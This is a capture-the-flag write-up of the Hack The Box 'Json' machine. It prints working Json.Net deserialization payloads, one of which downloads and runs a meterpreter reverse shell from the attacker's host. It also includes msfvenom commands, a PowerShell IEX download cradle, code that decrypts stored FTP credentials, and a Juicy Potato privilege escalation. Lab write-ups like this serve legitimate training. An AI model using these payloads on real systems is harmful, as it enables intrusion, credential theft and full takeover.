
Json was a fun 30 point box created by Cyb3rb0b. It started out by finding a Json.Net
deserialization error which leads you to ysoserial.net
, you then create a JSON
deserialization payload to get code execution and subsequently return a shell. You can then either find and decrypt credentials to login via FTP
and get the flag, or you can get SYSTEM
via Juicy Potato
.
User.txt
Nmap
We start the box with a quick TCP nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.158 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) &&
nmap -sV -sC -T4 -p$ports 10.10.10.158
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:26:f9 (VMware)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-02-14T13:38:14
|_ start_date: 2020-02-14T12:45:44
HTTP
Browsing to http://10.10.10.158/
presents the following page:

However you are quickly redirected to http://10.10.10.158/login.html
and prompted to login:

Login.html
Intercepting a login request with burp reveals a POST
request is being made to /api/token
:
1
2
3
4
5
6
7
8
9
10
11
12
POST /api/token HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/login.html
Content-Type: application/json;charset=utf-8
Content-Length: 37
Connection: close
{"UserName":"test","Password":"test"}
Sending this to repeater and pressing Send
reveals that the "User Not Exists"
:
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 13:44:39 GMT
Connection: close
Content-Length: 17
"User Not Exists"
Credentials
After playing around with common credential combinations, admin / admin
succeeded:
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Fri, 14-Feb-2020 13:49:38 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 13:47:38 GMT
Connection: close
Content-Length: 0
The http://10.10.10.158/index.html
page however offered little functionality to the end user and was comprised mainly of broken links.
HTTP History
Checking out the HTTP History
tab in burp reveals a GET
request was made to /api/Account/
:
1
2
3
4
5
6
7
8
9
10
GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
You’ll notice an additional Bearer
token included in the request, unlike the previous POST
request to /api/token/
. The Bearer
and the OAuth2
values Base64 decode to the following:
1
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}
Json Deserialization
After playing around with the Bearer
token I removed a single "
from the Json string:
1
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name:"User Admin HTB","Rol":"Administrator"}
I then Base64 encoded and sent the string in place of the original Bearer
token and received an interesting response:
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 14:10:30 GMT
Connection: close
Content-Length: 145
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}
A 500 Internal Server Error
and a Json.Net
deserialization error message is included in the response.
ysoserial.net
ysoserial.net is a deserialization payload generator for a variety of .NET
formatters.
The aim being here that we can generate a payload and then Base64 encode it and send it in the Bearer
header, it will then be deserialized and subsequently executed and we will have code execution on the underlying host.
The ObjectDataProvider
gadget payload works and the first payload I used is shown below (ping back):
1
2
3
4
5
6
7
8
{'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c ping 10.10.15.86']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Base64 encode the payload so it becomes:
1
eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIHBpbmcgMTAuMTAuMTUuODYnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ==
Then send it in the GET
request to /api/Account/
:
1
2
3
4
5
6
7
8
9
10
GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer: eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIHBpbmcgMTAuMTAuMTUuODYnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ==
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Running tcpdump -i tun0 icmp
allows us to monitor icmp
requests made back to us from the injected ping command. You can see below that the ping payload was successful:
1
2
3
4
5
6
7
8
9
10
11
# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
05:36:35.481740 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 5, length 40
05:36:35.481801 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 5, length 40
05:36:36.493823 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 6, length 40
05:36:36.493844 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 6, length 40
05:36:37.510363 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 7, length 40
05:36:37.510383 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 7, length 40
05:36:38.522395 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 8, length 40
05:36:38.522415 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 8, length 40
Shell
With code execution the next step is to get a shell. I created a meterpreter
payload with msfvenom
, started a multi/handler
, a Python SimpleHTTPServer
, and then used the following payload to download and execute the shell:
1
2
3
4
5
6
7
8
{'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c certutil.exe -urlcache -split -f http://10.10.15.86/shell.exe C:\\programdata\\shell.exe & C:\\programdata\\shell.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
First generate the shell:
1
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.86 LPORT=443 -f exe > shell.exe
Then start the Python SimpleHTTPServer
:
1
# python -m SimpleHTTPServer 80
Finally start an msfconsole multi/handler
for the payload, lhost, and lport. I created the following script to speed up the multi/handler
setup process:
1
# ./handler.sh windows/meterpreter/reverse_tcp 10.10.15.86 443
With everything in place you need to send the Base64 encoded string of the payload:
1
eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jICBjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vMTAuMTAuMTUuODYvc2hlbGwuZXhlIEM6XFxwcm9ncmFtZGF0YVxcc2hlbGwuZXhlICYgQzpcXHByb2dyYW1kYXRhXFxzaGVsbC5leGUnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ==
You’ll see the shell was fetched:
1
2
3
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.158 - - [14/Feb/2020 05:44:54] "GET /shell.exe HTTP/1.1" 200 -
And a meterpreter
session was quickly returned:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows JSON\userpool @ JSON 10.10.15.86:443 -> 10.10.10.158:49700 (10.10.10.158)
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: JSON\userpool
meterpreter > sysinfo
Computer : JSON
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
The shell died occasionally so I ran post/windows/manage/migrate
:
1
2
3
4
5
6
7
meterpreter > run post/windows/manage/migrate
[*] Running module against JSON
[*] Current server process: shell.exe (1708)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2676
[+] Successfully migrated to process 2676
Flag
With a shell as userpool
you can simply type
the user flag:
1
2
3
c:\Users\userpool\Desktop>type user.txt
type user.txt
34459a...
Root.txt
SyncLocation.exe
Browsing the file system you’ll notice a Sync2Ftp
directory in C:\progra~1\
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
c:\PROGRA~1>dir
dir
Volume in drive C has no label.
Volume Serial Number is 68B8-7F1E
Directory of c:\PROGRA~1
08/08/2019 06:04 PM <DIR> .
08/08/2019 06:04 PM <DIR> ..
08/08/2019 06:04 PM <DIR> Common Files
11/21/2014 06:24 AM <DIR> Embedded Lockdown Manager
08/08/2019 06:04 PM <DIR> Internet Explorer
05/22/2019 03:37 PM <DIR> MSBuild
05/22/2019 03:37 PM <DIR> Reference Assemblies
05/23/2019 02:06 PM <DIR> Sync2Ftp *
05/22/2019 03:28 PM <DIR> VMware
08/08/2019 06:04 PM <DIR> Windows Mail
08/08/2019 06:04 PM <DIR> Windows Media Player
08/08/2019 06:04 PM <DIR> Windows Multimedia Platform
08/08/2019 06:04 PM <DIR> Windows NT
08/08/2019 06:04 PM <DIR> Windows Photo Viewer
08/08/2019 06:04 PM <DIR> Windows Portable Devices
11/21/2014 06:24 AM <DIR> WindowsPowerShell
0 File(s) 0 bytes
16 Dir(s) 62,466,998,272 bytes free
Checking out the contents of this directory you can see two files, a SyncLocation.exe
executable and a SyncLocation.exe.config
configuration file:
1
2
3
4
5
6
7
8
9
10
11
c:\PROGRA~1\Sync2Ftp>dir
dir
Volume in drive C has no label.
Volume Serial Number is 68B8-7F1E
Directory of c:\PROGRA~1\Sync2Ftp
05/23/2019 02:06 PM <DIR> .
05/23/2019 02:06 PM <DIR> ..
05/23/2019 01:48 PM 9,728 SyncLocation.exe
05/23/2019 02:08 PM 591 SyncLocation.exe.config
The contents of the configuration file is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\PROGRA~1\Sync2Ftp>type SyncLocation.exe.config
type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
The main things that stand out here are the user
, password
, and SecurityKey
keys and values. The credentials are encrypted, so we most likely need the SecurityKey
and the decrypt function from the executable in order to decrypt the credentials.
Binary Analysis
Analysing the binary you’ll notice the Decrypt
method shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static string Decrypt(string cipherString, bool useHashing)
{
byte[] array = Convert.FromBase64String(cipherString);
AppSettingsReader appSettingsReader = new AppSettingsReader();
string s = (string)appSettingsReader.GetValue("SecurityKey", typeof(string));
byte[] key;
if (useHashing)
{
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
key = mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
mD5CryptoServiceProvider.Clear();
}
else
{
key = Encoding.UTF8.GetBytes(s);
}
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
tripleDESCryptoServiceProvider.Clear();
return Encoding.UTF8.GetString(bytes);
}
Coupling the Decrypt
function (with SecurityKey
included) with the Console.WriteLine
method, you’re able to print the plaintext values for the user
and password
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.Configuration;
using System.Security.Cryptography;
using System.Text;
public class Json
{
public static void Main()
{
Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true));
Console.WriteLine(Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
}
public static string Decrypt(string cipherString, bool useHashing)
{
byte[] array = Convert.FromBase64String(cipherString);
AppSettingsReader appSettingsReader = new AppSettingsReader();
string s = ("_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%");
byte[] key;
if (useHashing)
{
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
key = mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
mD5CryptoServiceProvider.Clear();
}
else
{
key = Encoding.UTF8.GetBytes(s);
}
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
tripleDESCryptoServiceProvider.Clear();
return Encoding.UTF8.GetString(bytes);
}
}
Running the code with dotnet
or an online compiler will print the credentials:
1
2
superadmin
funnyhtb
FTP
The credentials login successfully to FTP and we can view any file in the superadmin
directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password: funnyhtb
230 Logged on
Remote system type is UNIX.
ftp> dir
200 Port command successful
150 Opening data channel for directory listing of "/"
drwxr-xr-x 1 ftp ftp 0 May 22 2019 AppData
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Application Data
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Contacts
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Cookies
drwxr-xr-x 1 ftp ftp 0 Aug 12 2019 Desktop
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Documents
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Downloads
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Favorites
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Links
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Local Settings
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Music
drwxr-xr-x 1 ftp ftp 0 May 22 2019 My Documents
drwxr-xr-x 1 ftp ftp 0 May 22 2019 NetHood
-r--r--r-- 1 ftp ftp 524288 Feb 15 09:11 NTUSER.DAT
-r--r--r-- 1 ftp ftp 286720 May 22 2019 ntuser.dat.LOG1
-r--r--r-- 1 ftp ftp 159744 May 22 2019 ntuser.dat.LOG2
-r--r--r-- 1 ftp ftp 65536 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TM.blf
-r--r--r-- 1 ftp ftp 524288 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000001.regtrans-ms
-r--r--r-- 1 ftp ftp 524288 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000002.regtrans-ms
-r--r--r-- 1 ftp ftp 20 May 22 2019 ntuser.ini
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Pictures
drwxr-xr-x 1 ftp ftp 0 May 22 2019 PrintHood
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Recent
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Saved Games
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Searches
drwxr-xr-x 1 ftp ftp 0 May 22 2019 SendTo
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Start Menu
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Templates
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Videos
Flag
With access to the superadmin
directory you can check the Desktop
directory and get the root flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ftp> cd desktop
250 CWD successful. "/desktop" is current directory.
ftp> dir
200 Port command successful
150 Opening data channel for directory listing of "/desktop"
-r--r--r-- 1 ftp ftp 282 May 22 2019 desktop.ini
-r--r--r-- 1 ftp ftp 32 May 22 2019 root.txt
226 Successfully transferred "/desktop"
ftp> get root.txt
local: root.txt remote: root.txt
200 Port command successful
150 Opening data channel for file download from server of "/desktop/root.txt"
226 Successfully transferred "/desktop/root.txt"
32 bytes received in 0.00 secs (452.8985 kB/s)
ftp> exit
221 Goodbye
root@kali:~# cat root.txt
3cc85d...
Alternative Root
Privileges
Manually enumerating you’ll notice SeImpersonatePrivilege
is enabled:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled *
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
For more information on token privileges, please check out the following repo.
Juicy Potato
With a stable meterpreter
shell I ran post/multi/recon/local_exploit_suggester
. This displays exploits that the host is potentially vulnerable to:
1
2
3
4
5
6
7
8
9
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.10.158 - Collecting local exploits for x86/windows...
[*] 10.10.10.158 - 29 exploit checks are being tried...
[+] 10.10.10.158 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.158 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable
Given the privilege information displayed in the last section, the ms16_075_reflection_juicy
stands out as this is the juicy potato
exploit. The module didn’t seem to work, there is however a script that automates the exploitation for us called Lovely-Potato.
There is also an executable you can use to exploit this that can be found here.
Following the instructions from Lovely-Potato, I created another msfvenom
payload:
1
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.86 LPORT=1234 -f exe -o meterpreter.exe
Then edited the Invoke-LovelyPotato.ps1
configuration accordingly:
1
2
3
# Configuration
$RemoteDir = "http://10.10.15.86"
$LocalPath = "c:\programdata\"
Start a Python http.server
:
1
2
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then set up another msfconsole multi/handler
:
1
# ./handler.sh windows/meterpreter/reverse_tcp 10.10.15.86 1234
With all this setup you then run the following command in our first shell:
1
c:\programdata> powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.86/Invoke-LovelyPotato.ps1')
The following files are downloaded upon execution:
1
2
3
4
5
6
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /Invoke-LovelyPotato.ps1 HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /JuicyPotato-Static.exe HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /test_clsid.bat HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:01] "GET /meterpreter.exe HTTP/1.1" 200 -
As instructed, you have to wait approximately 10 minutes for the meterpreter
shell to be returned.
Flag
With a meterpreter
shell returned you can type
the root flag:
1
2
3
C:\Users\superadmin\Desktop>type root.txt
type root.txt
3cc85d...